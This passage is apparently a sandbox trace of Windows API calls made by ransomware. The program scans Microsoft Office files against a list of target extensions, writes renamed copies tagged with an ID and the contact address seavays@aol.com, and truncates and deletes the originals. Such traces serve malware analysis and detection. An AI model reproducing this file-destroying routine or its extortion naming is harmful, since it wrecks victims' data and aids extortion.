lpString2="fest") returned -1 [0178.361] lstrlenW (lpString=".rar") returned 4 [0178.361] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0178.362] lstrlenW (lpString=".bz2") returned 4 [0178.362] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0178.362] lstrlenW (lpString=".7z") returned 3 [0178.362] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0178.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0178.362] lstrlenW (lpString=".dbf") returned 4 [0178.362] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0178.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0178.362] lstrlenW (lpString=".1cd") returned 4 [0178.362] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0178.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0178.362] lstrlenW (lpString=".jpg") returned 4 [0178.362] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0178.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0178.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0178.362] lstrlenW (lpString=".doc") returned 4 [0178.362] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0178.362] lstrlenW (lpString=".docx") returned 5 [0178.362] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0178.362] lstrlenW (lpString=".pdf") returned 4 [0178.362] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0178.363] lstrlenW (lpString=".xls") returned 4 [0178.363] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0178.363] lstrlenW (lpString=".xlsx") returned 5 [0178.363] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0178.363] lstrlenW (lpString=".ppt") returned 4 [0178.363] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0178.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0178.363] lstrlenW (lpString=".zip") returned 4 [0178.363] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0178.363] lstrlenW (lpString=".rar") returned 4 [0178.363] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0178.363] lstrlenW (lpString=".bz2") returned 4 [0178.363] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0178.363] lstrlenW (lpString=".7z") returned 3 [0178.363] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0178.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0178.363] lstrlenW (lpString=".dbf") returned 4 [0178.363] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0178.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0178.363] lstrlenW (lpString=".1cd") returned 4 [0178.363] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0178.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0178.363] lstrlenW (lpString=".jpg") returned 4 [0178.363] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0178.364] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0178.364] lstrlenW (lpString="AppVStreamMap.dll") returned 17 [0178.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0178.365] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=194776) returned 1 [0178.365] CloseHandle (hObject=0x2a8) returned 1 [0178.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll")) returned 0x220 [0178.366] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0178.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0178.366] lstrlenW (lpString=".doc") returned 4 [0178.366] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0178.366] lstrlenW (lpString=".docx") returned 5 [0178.366] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0178.366] lstrlenW (lpString=".pdf") returned 4 [0178.366] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.366] lstrlenW (lpString=".xls") returned 4 [0178.366] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0178.366] lstrlenW (lpString=".xlsx") returned 5 [0178.366] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0178.366] lstrlenW (lpString=".ppt") returned 4 [0178.367] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0178.367] lstrlenW (lpString=".zip") returned 4 [0178.367] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0178.367] lstrlenW (lpString=".rar") returned 4 [0178.367] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.367] lstrlenW (lpString=".bz2") returned 4 [0178.367] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.367] lstrlenW (lpString=".7z") returned 3 [0178.367] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0178.367] lstrlenW (lpString=".dbf") returned 4 [0178.367] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0178.367] lstrlenW (lpString=".1cd") returned 4 [0178.367] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0178.367] lstrlenW (lpString=".jpg") returned 4 [0178.367] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0178.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0178.367] lstrlenW (lpString=".doc") returned 4 [0178.367] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0178.367] lstrlenW (lpString=".docx") returned 5 [0178.367] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0178.367] lstrlenW (lpString=".pdf") returned 4 [0178.367] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.368] lstrlenW (lpString=".xls") returned 4 [0178.368] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0178.368] lstrlenW (lpString=".xlsx") returned 5 [0178.368] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0178.368] lstrlenW (lpString=".ppt") returned 4 [0178.368] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0178.368] lstrlenW (lpString=".zip") returned 4 [0178.368] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0178.368] lstrlenW (lpString=".rar") returned 4 [0178.368] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.368] lstrlenW (lpString=".bz2") returned 4 [0178.368] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.368] lstrlenW (lpString=".7z") returned 3 [0178.368] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0178.368] lstrlenW (lpString=".dbf") returned 4 [0178.368] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0178.368] lstrlenW (lpString=".1cd") returned 4 [0178.368] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0178.368] lstrlenW (lpString=".jpg") returned 4 [0178.368] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.369] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0178.369] lstrlenW (lpString="concrt140.dll") returned 13 [0178.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0178.370] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=243520) returned 1 [0178.370] CloseHandle (hObject=0x2a8) returned 1 [0178.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll")) returned 0x220 [0178.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0178.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0178.371] lstrlenW (lpString=".doc") returned 4 [0178.371] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0178.371] lstrlenW (lpString=".docx") returned 5 [0178.371] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0178.371] lstrlenW (lpString=".pdf") returned 4 [0178.371] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.371] lstrlenW (lpString=".xls") returned 4 [0178.371] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0178.371] lstrlenW (lpString=".xlsx") returned 5 [0178.372] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0178.372] lstrlenW (lpString=".ppt") returned 4 [0178.372] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0178.372] lstrlenW (lpString=".zip") returned 4 [0178.372] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0178.372] lstrlenW (lpString=".rar") returned 4 [0178.372] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.372] lstrlenW (lpString=".bz2") returned 4 [0178.372] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.372] lstrlenW (lpString=".7z") returned 3 [0178.372] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0178.372] lstrlenW (lpString=".dbf") returned 4 [0178.372] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0178.372] lstrlenW (lpString=".1cd") returned 4 [0178.372] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0178.372] lstrlenW (lpString=".jpg") returned 4 [0178.372] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0178.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0178.710] lstrlenW (lpString=".doc") returned 4 [0178.710] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0178.710] lstrlenW (lpString=".docx") returned 5 [0178.710] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0178.710] lstrlenW (lpString=".pdf") returned 4 [0178.710] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0178.710] lstrlenW (lpString=".xls") returned 4 [0178.710] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0178.710] lstrlenW (lpString=".xlsx") returned 5 [0178.710] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0178.710] lstrlenW (lpString=".ppt") returned 4 [0178.710] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0178.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0178.710] lstrlenW (lpString=".zip") returned 4 [0178.710] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0178.710] lstrlenW (lpString=".rar") returned 4 [0178.710] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0178.710] lstrlenW (lpString=".bz2") returned 4 [0178.710] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0178.710] lstrlenW (lpString=".7z") returned 3 [0178.710] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0178.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0178.711] lstrlenW (lpString=".dbf") returned 4 [0178.711] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0178.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0178.711] lstrlenW (lpString=".1cd") returned 4 [0178.711] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0178.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0178.711] lstrlenW (lpString=".jpg") returned 4 [0178.711] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0178.711] lstrcmpiW (lpString1=".msu", lpString2=".save") returned -1 [0178.711] lstrlenW (lpString="Windows8-RT-KB2999226-x64.msu") returned 29 [0178.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0178.764] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=1347630) returned 1 [0178.764] CloseHandle (hObject=0x388) returned 1 [0178.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 0x220 [0178.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0178.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0178.765] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.765] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0178.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0178.831] GetLastError () returned 0x0 [0178.831] ReadFile (in: hFile=0x388, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0xffff0, lpOverlapped=0x0) returned 1 [0179.137] WriteFile (in: hFile=0x53c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xffff0, lpOverlapped=0x0) returned 1 [0179.172] ReadFile (in: hFile=0x388, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x4903e, lpOverlapped=0x0) returned 1 [0179.370] WriteFile (in: hFile=0x53c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x49040, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x49040, lpOverlapped=0x0) returned 1 [0179.383] ReadFile (in: hFile=0x388, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0179.383] WriteFile (in: hFile=0x53c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x10e, lpOverlapped=0x0) returned 1 [0179.383] SetEndOfFile (hFile=0x53c) returned 1 [0179.384] CloseHandle (hObject=0x53c) returned 1 [0179.384] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0179.384] SetEndOfFile (hFile=0x388) returned 1 [0180.011] CloseHandle (hObject=0x388) returned 1 [0180.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0180.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 1 [0180.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0180.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0180.735] lstrlenW (lpString=".doc") returned 4 [0180.735] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0180.735] lstrlenW (lpString=".docx") returned 5 [0180.735] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0180.735] lstrlenW (lpString=".pdf") returned 4 [0180.735] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0180.736] lstrlenW (lpString=".xls") returned 4 [0180.736] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0180.736] lstrlenW (lpString=".xlsx") returned 5 [0180.736] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0180.736] lstrlenW (lpString=".ppt") returned 4 [0180.736] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0180.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0180.736] lstrlenW (lpString=".zip") returned 4 [0180.736] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0180.736] lstrlenW (lpString=".rar") returned 4 [0180.736] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0180.736] lstrlenW (lpString=".bz2") returned 4 [0180.736] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0180.736] lstrlenW (lpString=".7z") returned 3 [0180.736] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0180.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0180.736] lstrlenW (lpString=".dbf") returned 4 [0180.736] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0180.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0180.736] lstrlenW (lpString=".1cd") returned 4 [0180.736] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0180.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0180.737] lstrlenW (lpString=".jpg") returned 4 [0180.737] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0180.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0180.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0180.737] lstrlenW (lpString=".doc") returned 4 [0180.737] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0180.737] lstrlenW (lpString=".docx") returned 5 [0180.737] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0180.737] lstrlenW (lpString=".pdf") returned 4 [0180.737] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0180.737] lstrlenW (lpString=".xls") returned 4 [0180.737] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0180.737] lstrlenW (lpString=".xlsx") returned 5 [0180.737] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0180.737] lstrlenW (lpString=".ppt") returned 4 [0180.737] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0180.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0180.737] lstrlenW (lpString=".zip") returned 4 [0180.737] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0180.737] lstrlenW (lpString=".rar") returned 4 [0180.737] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0180.738] lstrlenW (lpString=".bz2") returned 4 [0180.738] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0180.738] lstrlenW (lpString=".7z") returned 3 [0180.738] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0180.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0180.738] lstrlenW (lpString=".dbf") returned 4 [0180.738] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0180.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0180.738] lstrlenW (lpString=".1cd") returned 4 [0180.738] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0180.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0180.738] lstrlenW (lpString=".jpg") returned 4 [0180.738] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0180.738] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0180.738] lstrlenW (lpString="AccessR_Grace-ul-oob.xrm-ms") returned 27 [0180.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0180.741] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11594) returned 1 [0180.741] CloseHandle (hObject=0x344) returned 1 [0180.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 0x220 [0180.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0180.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0180.742] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.742] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0180.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0181.248] GetLastError () returned 0x0 [0181.249] ReadFile (in: hFile=0x344, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2d4a, lpOverlapped=0x0) returned 1 [0181.252] WriteFile (in: hFile=0x434, lpBuffer=0x41db020*, 